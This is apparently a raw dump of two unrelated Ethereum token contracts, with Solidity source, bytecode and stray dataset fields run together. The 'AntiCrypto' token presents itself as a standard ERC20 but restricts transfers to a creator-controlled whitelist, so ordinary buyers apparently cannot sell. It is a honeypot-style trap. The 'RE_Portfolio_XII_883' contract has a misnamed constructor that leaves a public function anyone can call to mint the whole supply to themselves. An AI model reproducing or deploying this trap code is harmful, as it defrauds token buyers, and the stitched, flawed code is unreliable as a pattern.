functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public { _creator = 0x29bEA10CDC35bf1326d7430De407C1B31Bc55997; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true; } function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) { return _uniswap; } function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AntiCrypto is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "AntiCrypto"; //_symbol = "AntiCrypto"; _name = "AntiCrypto"; _symbol = "AntiCrypto"; _decimals = 0; _totalSupply = 1000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b411461027d578063a457c2d714610285578063a9059cbb146102b1578063dd62ed3e146102dd576100cf565b8063313ce5671461020d578063395093511461022b57806370a0823114610257576100cf565b806302d05d3f146100d457806306fdde03146100f8578063095ea7b31461017557806318160ddd146101b557806323b872dd146101cf5780632681f7e414610205575b600080fd5b6100dc61030b565b604080516001600160a01b039092168252519081900360200190f35b61010061031a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013a578181015183820152602001610122565b50505050905090810190601f1680156101675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a16004803603604081101561018b57600080fd5b506001600160a01b0381351690602001356103b0565b604080519115158252519081900360200190f35b6101bd610425565b60408051918252519081900360200190f35b6101a1600480360360608110156101e557600080fd5b506001600160a01b0381358116916020810135909116906040013561042b565b6100dc6104e3565b6102156104f2565b6040805160ff9092168252519081900360200190f35b6101a16004803603604081101561024157600080fd5b506001600160a01b0381351690602001356104fb565b6101bd6004803603602081101561026d57600080fd5b50356001600160a01b03166105a1565b6101006105bc565b6101a16004803603604081101561029b57600080fd5b506001600160a01b03813516906020013561061d565b6101a1600480360360408110156102c757600080fd5b506001600160a01b0381351690602001356106dd565b6101bd600480360360408110156102f357600080fd5b506001600160a01b0381358116916020013516610786565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b820191906000526020600020905b81548152906001019060200180831161038957829003601f168201915b5050505050905090565b600080546001600160a01b03166103c56107b1565b6001600160a01b03161461040a5760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6104156107b1565b84846107b5565b50600192915050565b60085490565b60006104388484846108a1565b6104a8846104446107b1565b6104a385604051806060016040528060288152602001610c24602891396001600160a01b038a166000908152600460205260408120906104826107b1565b6001600160a01b0316815260208101919091526040016000205491906109f3565b6107b5565b6104b06104e3565b6001600160a01b03166104c16107b1565b6001600160a01b031614156104d9576104d983610a8a565b5060019392505050565b6001546001600160a01b031690565b60075460ff1690565b600080546001600160a01b03166105106107b1565b6001600160a01b0316146105555760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6105606107b1565b846104a385600460006105716107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610b2c565b6001600160a01b031660009081526003602052604090205490565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b600080546001600160a01b03166106326107b1565b6001600160a01b0316146106775760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6106826107b1565b846104a385604051806060016040528060258152602001610c9560259139600460006106ac6107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906109f3565b6000600260006106eb6107b1565b6001600160a01b0316815260208101919091526040016000205460ff166107435760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61075561074e6107b1565b84846108a1565b61075d61030b565b6001600160a01b031661076e6107b1565b6001600160a01b0316141561041c5761041c83610a8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107fa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c716024913960400191505060405180910390fd5b6001600160a01b03821661083f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610bb16022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108e65760405162461bcd60e51b8152600401808060200182810382526025815260200180610c4c6025913960400191505060405180910390fd5b6001600160a01b03821661092b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610b8e6023913960400191505060405180910390fd5b61096881604051806060016040528060268152602001610bd3602691396001600160a01b03861660009081526003602052604090205491906109f3565b6001600160a01b0380851660009081526003602052604080822093909355908416815220546109979082610b2c565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610a825760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a47578181015183820152602001610a2f565b50505050905090810190601f168015610a745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000546001600160a01b0316610a9e6107b1565b6001600160a01b03161480610acd57506001546001600160a01b0316610ac26107b1565b6001600160a01b0316145b610b085760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b600082820183811015610b86576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520646f206e6f742068617665207065726d697373696f6e7320666f72207468697320616374696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e40215a40706052b0b5749420780df5dc68c967a521ba1ecef00baf1e85a0d8564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,295
0x838aa89d9f88a23c3689970f4651d56cf7f7fdc8
pragma solidity ^0.4.21 ; contract RE_Portfolio_XII_883 { mapping (address => uint256) public balanceOf; string public name = " RE_Portfolio_XII_883 " ; string public symbol = " RE883XII " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1344165245303120000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XII_metadata_line_1_____Holland_AAp_Nationale_Borg_Reinsurance_NV_Am_20250515 > // < nv4yc6tXpx94z0R5bmvD8WuVpgaOJ26yzWzBES61Fs1wcm4R6WvAb54z5ySwg4oD > // < 1E-018 limites [ 1E-018 ; 38855000,2732126 ] > // < 0x00000000000000000000000000000000000000000000000000000000E798086F > // < RE_Portfolio_XII_metadata_line_2_____Houston_Casuality_m_App_20250515 > // < Z53jGK0Efnca8K20At0Nht678QA2FCgNQrGij9qLp95I7U198n0NpOt9qu0NfTva > // < 1E-018 limites [ 38855000,2732126 ; 100606255,461729 ] > // < 0x00000000000000000000000000000000000000000000000E798086F257A8F87E > // < RE_Portfolio_XII_metadata_line_3_____Huatai_Insurance_Co,_Limited_Am_20250515 > // < LrljJpleRfS529fi3hur6a9rCEeH9GAdW9uDu6tkQ262i5430d0w9bMe14t66RwP > // < 1E-018 limites [ 100606255,461729 ; 123902825,057492 ] > // < 0x0000000000000000000000000000000000000000000000257A8F87E2E284B6FD > // < RE_Portfolio_XII_metadata_line_4_____ICICI_Lombard_General_Insurance_Co_Limited_20250515 > // < mk9rsTp9o5W842qNBYCGs17E8eG3ZBwtPLty62RkZp9G118ax5F2F4oo74HSjNeH > // < 1E-018 limites [ 123902825,057492 ; 147344007,577643 ] > // < 0x00000000000000000000000000000000000000000000002E284B6FD36E3D1EE9 > // < RE_Portfolio_XII_metadata_line_5_____IF_P&C_Insurance_Limited__Publ__Ap_A2_20250515 > // < 4P7mI2taS8v6MO7T81NxHnoL0qDRkw0gd0F3DNxYmhEEMv5F1c70DjV5liyf91pN > // < 1E-018 limites [ 147344007,577643 ; 210249352,179246 ] > // < 0x000000000000000000000000000000000000000000000036E3D1EE94E52F0F25 > // < RE_Portfolio_XII_metadata_line_6_____India_International_Insurance_Pte_Limited_Am_20250515 > // < G0c0bbO24509PXW525J7ZT1MjX4yx5yh9PVKod1f3Cr97dx37e7LO8TT87P6xl88 > // < 1E-018 limites [ 210249352,179246 ; 228191686,623336 ] > // < 0x00000000000000000000000000000000000000000000004E52F0F2555020E38A > // < RE_Portfolio_XII_metadata_line_7_____India_International_Insurance_Pte_Limited_Am_20250515 > // < woaA9eAF646EN65X9kg1w6y732p2eIcJN3YtN9Gp805ru6GXfF24h6XkoBQ2S54g > // < 1E-018 limites [ 228191686,623336 ; 240589715,957431 ] > // < 0x000000000000000000000000000000000000000000000055020E38A59A06C7BF > // < RE_Portfolio_XII_metadata_line_8_____ING_Reinsurance_20250515 > // < 7e5M8L22H61iVo339jvE3t0vT9G4HD3Y14N8iFa2q7m8e3649cOrzWMEflgafD2M > // < 1E-018 limites [ 240589715,957431 ; 266846286,514168 ] > // < 0x000000000000000000000000000000000000000000000059A06C7BF63687209F > // < RE_Portfolio_XII_metadata_line_9_____ING_USA_20250515 > // < 400w78zskOwZV9hVbZhIYWHE0aDg0s2g6A83F0R1LbN8oY02UoKKJttuKFv4W1eF > // < 1E-018 limites [ 266846286,514168 ; 291379206,9308 ] > // < 0x000000000000000000000000000000000000000000000063687209F6C8C164A9 > // < RE_Portfolio_XII_metadata_line_10_____Ingosstrakh_Ins_Co_BBp_m_20250515 > // < 6x30kpVVnSAF8p067BIr4lTCp92DlAJOM1nVk6g0pdVfJ7bOOARL2LGm7nZMe9Il > // < 1E-018 limites [ 291379206,9308 ; 363574584,99288 ] > // < 0x00000000000000000000000000000000000000000000006C8C164A987712CC37 > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XII_metadata_line_11_____Inrerlink_Reinsurance_20250515 > // < C54k0VEw30zaQVQX72N6649kwF288N64hElk1BvJ79vK67v2Ht3QG41v2W0iyXa2 > // < 1E-018 limites [ 363574584,99288 ; 377489411,804432 ] > // < 0x000000000000000000000000000000000000000000000087712CC378CA032370 > // < RE_Portfolio_XII_metadata_line_12_____Intermediaries_and_Reinsurance_Underwriters_Assoc_20250515 > // < 547nmuo8FkbmMF12zzK8GLdw7D8B681v0js1fto9MIqe148zo879f55gkgNyHz9Q > // < 1E-018 limites [ 377489411,804432 ; 390721861,095138 ] > // < 0x00000000000000000000000000000000000000000000008CA032370918E240F1 > // < RE_Portfolio_XII_metadata_line_13_____International_General_Insurance_Company_Limited_Am_Am_20250515 > // < 3ZKrDZAPKvw5NWP2ic5d275Cc6nTmMYO8Jx911eKr2s5je9kM21dQEx9472bck32 > // < 1E-018 limites [ 390721861,095138 ; 408222693,38801 ] > // < 0x0000000000000000000000000000000000000000000000918E240F198132678E > // < RE_Portfolio_XII_metadata_line_14_____International_Insurance_Co_of_Hannover_SE_AAm_20250515 > // < Wc7XxZJJJywcgZ83jqu5wtTyX8L9w85fTh9bGPRAgG752k930cJuWDF30C5HZ3IU > // < 1E-018 limites [ 408222693,38801 ; 442982730,968393 ] > // < 0x000000000000000000000000000000000000000000000098132678EA5062033C > // < RE_Portfolio_XII_metadata_line_15_____International_Insurance_Co_of_Hannover_SE_AAm_Ap_20250515 > // < mEid30E9PyP601cqWtA24Loz1Z8xWGEx5CA6uFE0no1OmjPmLXG49629d2MMs6fI > // < 1E-018 limites [ 442982730,968393 ; 457941981,547481 ] > // < 0x0000000000000000000000000000000000000000000000A5062033CAA98C047E > // < RE_Portfolio_XII_metadata_line_16_____Investors_Guaranty_Fund_20250515 > // < Iqc2PUNaEWFo8qXQ0Sc9YOcM6N0xlafOtRm1G8U26yhrEwgIOGnhA99OHu67IXOL > // < 1E-018 limites [ 457941981,547481 ; 486148923,435821 ] > // < 0x0000000000000000000000000000000000000000000000AA98C047EB51AC652B > // < RE_Portfolio_XII_metadata_line_17_____IRB_Brasil_Resseguros_SA_20250515 > // < ktxvUHb3dj9rUC7cFo6cjR5P6A1Mk8x35R1V9z2221lwF90m1Rv4R4UyYW68gqWg > // < 1E-018 limites [ 486148923,435821 ; 501254894,24612 ] > // < 0x0000000000000000000000000000000000000000000000B51AC652BBABB64704 > // < RE_Portfolio_XII_metadata_line_18_____IRB_Brazil_Re_20250515 > // < htiFLVtUzw38uSOUJJG9rJ1WEo35Mx25Qh8MWm9Tau5RQN207V0kGwtKwEe3tJIX > // < 1E-018 limites [ 501254894,24612 ; 513223636,19488 ] > // < 0x0000000000000000000000000000000000000000000000BABB64704BF30D20D7 > // < RE_Portfolio_XII_metadata_line_19_____Ironshore_Insurance_Limited_m_A_20250515 > // < yX1gAdEJpt7Ch64amzirfX8T4LNuZ7Ac15qKbXW92L301jrbiGb1p8MFZSk0c8LK > // < 1E-018 limites [ 513223636,19488 ; 535454451,534138 ] > // < 0x0000000000000000000000000000000000000000000000BF30D20D7C778EA915 > // < RE_Portfolio_XII_metadata_line_20_____Jordan_Insurance_co_Bpp_20250515 > // < MXh9674b21NSXXc6OjZxR02Ch4AC7Wnzq6mX6qE0Y4syn9ziF3gYUsT3NIGyCDf3 > // < 1E-018 limites [ 535454451,534138 ; 599537026,921147 ] > // < 0x0000000000000000000000000000000000000000000000C778EA915DF584E918 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XII_metadata_line_21_____JTW_Reinsurance_Consultants_20250515 > // < olL637924GLPv9kSr01irls9JY21ww377eoMHtLK56A8STL0B0dB14Vh7ob7i462 > // < 1E-018 limites [ 599537026,921147 ; 634349215,713688 ] > // < 0x0000000000000000000000000000000000000000000000DF584E918EC5041857 > // < RE_Portfolio_XII_metadata_line_22_____Kazakhstan_BBBp_Eurasia_Insurance_Co_JSC_BBp_Bpp_20250515 > // < 201c9VIuD2MU6S21YBF51dUlEY8d568jIvaJp2h8NMTUEuAF6l20lwFp1IbZ4XFh > // < 1E-018 limites [ 634349215,713688 ; 673026363,731846 ] > // < 0x0000000000000000000000000000000000000000000000EC5041857FAB8CBD49 > // < RE_Portfolio_XII_metadata_line_23_____Kenya_Re_Bp_20250515 > // < 9A4rw5WtanVrf99j76ArwQ4300is0OU92Y0U7aP13BzIrp80mdGK2m8ci8r6SmAs > // < 1E-018 limites [ 673026363,731846 ; 683731689,978009 ] > // < 0x0000000000000000000000000000000000000000000000FAB8CBD49FEB5BC559 > // < RE_Portfolio_XII_metadata_line_24_____Korean_Re_20250515 > // < Abvao6S465TOU6DU4j62mOPOI5bT90cxH9JcEMTeuqFqD16u41GdXSF1ECEJ9r0N > // < 1E-018 limites [ 683731689,978009 ; 751996302,38762 ] > // < 0x000000000000000000000000000000000000000000000FEB5BC55911823F4D92 > // < RE_Portfolio_XII_metadata_line_25_____Korean_Re_20250515 > // < 7572rcsX9ka7KEK4LC1MAXtun5pA2dcX0FMLA8vq2EPzI43j8640aIyI3j28wg29 > // < 1E-018 limites [ 751996302,38762 ; 784815775,723991 ] > // < 0x0000000000000000000000000000000000000000000011823F4D921245DDD858 > // < RE_Portfolio_XII_metadata_line_26_____Korean_Re_A_20250515 > // < onZG122P61qRkm6Nt38u8vQ3aYFo7TCu4J8rv8T91490H5g1m8vNbfmtZRek7K9D > // < 1E-018 limites [ 784815775,723991 ; 801223849,211753 ] > // < 0x000000000000000000000000000000000000000000001245DDD85812A7AA940D > // < RE_Portfolio_XII_metadata_line_27_____Korean_Reinsurance_Company_20250515 > // < 6LgpFz6t3Trx5G7k4JG0V2u7rsi2Y31iL3ZiFXWmn11Iy5I07a74ZyY5B1m7FO8p > // < 1E-018 limites [ 801223849,211753 ; 850293555,968376 ] > // < 0x0000000000000000000000000000000000000000000012A7AA940D13CC250240 > // < RE_Portfolio_XII_metadata_line_28_____Korean_Reinsurance_Company_20250515 > // < dzsbp50PA636xUI786NG48Ovy9xV8GZy4DDHnkrF2ZeWmuWE01od0vqDhKHpl10B > // < 1E-018 limites [ 850293555,968376 ; 867540116,268735 ] > // < 0x0000000000000000000000000000000000000000000013CC2502401432F12BDE > // < RE_Portfolio_XII_metadata_line_29_____Kuwait_Reins_Co_A_20250515 > // < DrCjPZ8w57h0Xg64d12bQa9FA5stz1y5I8wmjPYPoFZiW1Nz6lx0iVFX53v4r2CY > // < 1E-018 limites [ 867540116,268735 ; 933909612,153269 ] > // < 0x000000000000000000000000000000000000000000001432F12BDE15BE88FC33 > // < RE_Portfolio_XII_metadata_line_30_____Labuan_Re_Am_20250515 > // < 11i8ZI5Z1KiVtj9RqYEiPB41m511IfgTdMY1f5B15qSz2e25rRLrf8553yJtzkV5 > // < 1E-018 limites [ 933909612,153269 ; 949023008,483127 ] > // < 0x0000000000000000000000000000000000000000000015BE88FC3316189E32A4 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XII_metadata_line_31_____Labuan_Reinsurance_20250515 > // < OO2RuQjBfhA0iU29S1Bkty94h9033i90VDWF2SFo49TY9eew351CXf8JNe216OJZ > // < 1E-018 limites [ 949023008,483127 ; 989885392,080596 ] > // < 0x0000000000000000000000000000000000000000000016189E32A4170C2D3F3C > // < RE_Portfolio_XII_metadata_line_32_____Lancashire_Insurance_Co_Limited_Am_A_20250515 > // < 4L5I8E48Tcvt3R2FQOKe9pK5oRP1Rer8Ae2ak0boBhvB1lh21Bb586Q4ZbjCzFIs > // < 1E-018 limites [ 989885392,080596 ; 1024352742,77984 ] > // < 0x00000000000000000000000000000000000000000000170C2D3F3C17D99E4019 > // < RE_Portfolio_XII_metadata_line_33_____Lansforsakringar_Sak_Forsakrings_AB_A_20250515 > // < oDFfdsD6plJdq4MI8wcc1AlX8p1c19Rf3LbfB1yOW3gf95k9F4CN9227itt79Ca4 > // < 1E-018 limites [ 1024352742,77984 ; 1039505072,73667 ] > // < 0x0000000000000000000000000000000000000000000017D99E40191833EEDEFD > // < RE_Portfolio_XII_metadata_line_34_____LaSalle_Re_Limited_20250515 > // < xNQ2jMTVAWyLM325AmnhHkijgdIatN2J007j2yaCI4IeK23xM9ftjSuUPi98vs72 > // < 1E-018 limites [ 1039505072,73667 ; 1108377962,4577 ] > // < 0x000000000000000000000000000000000000000000001833EEDEFD19CE728F89 > // < RE_Portfolio_XII_metadata_line_35_____Lebanon_B_Arab_Re_Co_Bp_20250515 > // < A9w0Q65of6ui89Jp4z3Z6GLq8p1i5esGl3YxF5fGh1XoA3vX23h2z90qxaBL30Z7 > // < 1E-018 limites [ 1108377962,4577 ; 1177702873,59844 ] > // < 0x0000000000000000000000000000000000000000000019CE728F891B6BA7FAF3 > // < RE_Portfolio_XII_metadata_line_36_____Legal_&_General_Assurance_Society_Limited_AAm_Ap_20250515 > // < XFL0ADikYvGHNqc6G3rL7dIeomAk88iqh3SU2v525wvBWzW16T36eoM0t1OQLLzr > // < 1E-018 limites [ 1177702873,59844 ; ] > // < 0x000000000000000000000000000000000000000000001B6BA7FAF31BCCE82895 > // < RE_Portfolio_XII_metadata_line_37_____Liberty_Managing_Agency_Limited_20250515 > // < 5xU9mANVxlJ6i0TENja9Eq3028INN04j2Ajw9uAAf6PU5D48QvH93e86blYvlNfE > // < 1E-018 limites [ 1194018832,97407 ; 1226652347,86245 ] > // < 0x000000000000000000000000000000000000000000001BCCE828951C8F6AF356 > // < RE_Portfolio_XII_metadata_line_38_____Liberty_Managing_Agency_Limited_20250515 > // < qI2zGKBZ2k44b2f080hc0zbcnL6Za1ck7E8nz02r2e6ffpTfWmsirP36ox5c8uf4 > // < 1E-018 limites [ 1226652347,86245 ; 1237807252,34683 ] > // < 0x000000000000000000000000000000000000000000001C8F6AF3561CD1E7FBE6 > // < RE_Portfolio_XII_metadata_line_39_____Liberty_Managing_Agency_Limited_20250515 > // < 25w08lsSUnT3KX4nGb7isEZ9V23Yl0i36qSvvR8ar6j5Mb3hXPhzarsUHQzoIFM8 > // < 1E-018 limites [ 1237807252,34683 ; 1295936303,25949 ] > // < 0x000000000000000000000000000000000000000000001CD1E7FBE61E2C61E069 > // < RE_Portfolio_XII_metadata_line_40_____Liberty_Mutual_Ins_Co_A_A_20250515 > // < wIK48ILH5JcQLPLU1ha4jP6718H9ekvMk1gz0KrBB52H8swH0p9wfPkzMZfwdHzr > // < 1E-018 limites [ 1295936303,25949 ; 1344165245,30312 ] > // < 0x000000000000000000000000000000000000000000001E2C61E0691F4BD966E6 > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000